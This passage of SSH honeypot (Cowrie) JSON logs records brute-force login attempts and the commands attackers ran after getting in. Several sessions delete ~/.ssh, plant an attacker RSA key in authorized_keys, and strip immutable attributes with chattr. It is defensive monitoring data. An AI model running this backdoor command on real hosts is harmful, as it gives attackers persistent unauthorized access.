hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:38.758073Z","src_ip":"54.86.179.2","session":"3be4e25426d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle2021","message":"login attempt [oracle/oracle2021] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:39.125283Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:39.682787Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:39.686265Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:39.690544Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:39.917487Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:40.416822Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:40.420022Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:40.642940Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:40.646721Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"8939b3cc181d","protocol":"ssh","message":"New connection: 223.17.5.126:55440 (10.17.0.5:22) [session: 8939b3cc181d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:40.879399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:40.885009Z","src_ip":"223.17.5.126","session":"8939b3cc181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:41.025398Z","src_ip":"54.86.179.2","session":"3be4e25426d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:41.102572Z","src_ip":"223.17.5.126","session":"8939b3cc181d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:42.031044Z","src_ip":"223.17.5.126","session":"8939b3cc181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:43.250975Z","src_ip":"223.17.5.126","session":"8939b3cc181d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":55454,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b9795e0e322","protocol":"ssh","message":"New connection: 223.17.5.126:55454 (10.17.0.5:22) [session: 6b9795e0e322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:43.482249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:43.489117Z","src_ip":"223.17.5.126","session":"6b9795e0e322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:43.716333Z","src_ip":"223.17.5.126","session":"6b9795e0e322","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:44.662543Z","src_ip":"223.17.5.126","session":"6b9795e0e322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:45.057833Z","src_ip":"223.17.5.126","session":"6b9795e0e322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:45.062223Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4e7c960af95","protocol":"ssh","message":"New connection: 95.240.192.149:60458 (10.17.0.5:22) [session: a4e7c960af95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:06.682127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:06.687095Z","src_ip":"95.240.192.149","session":"a4e7c960af95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:06.799761Z","src_ip":"95.240.192.149","session":"a4e7c960af95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpguest","password":"1","message":"login attempt [ftpguest/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:07.278545Z","src_ip":"95.240.192.149","session":"a4e7c960af95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:08.397270Z","src_ip":"95.240.192.149","session":"a4e7c960af95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"68af5db91161","protocol":"ssh","message":"New connection: 43.157.90.107:50742 (10.17.0.5:22) [session: 68af5db91161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.241477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.259770Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.343141Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin3","message":"login attempt [admin/admin3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.691535Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.965248Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.968013Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:17.971694Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.062476Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.280620Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.284327Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.381264Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.385649Z","src_ip":"43.157.90.107","session":"68af5db91161","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":51886,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f78c907188","protocol":"ssh","message":"New connection: 43.157.90.107:51886 (10.17.0.5:22) [session: 39f78c907188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.464483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:02:18.468875Z","src_ip":"43.157.90.107","session":"39f78c907188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffi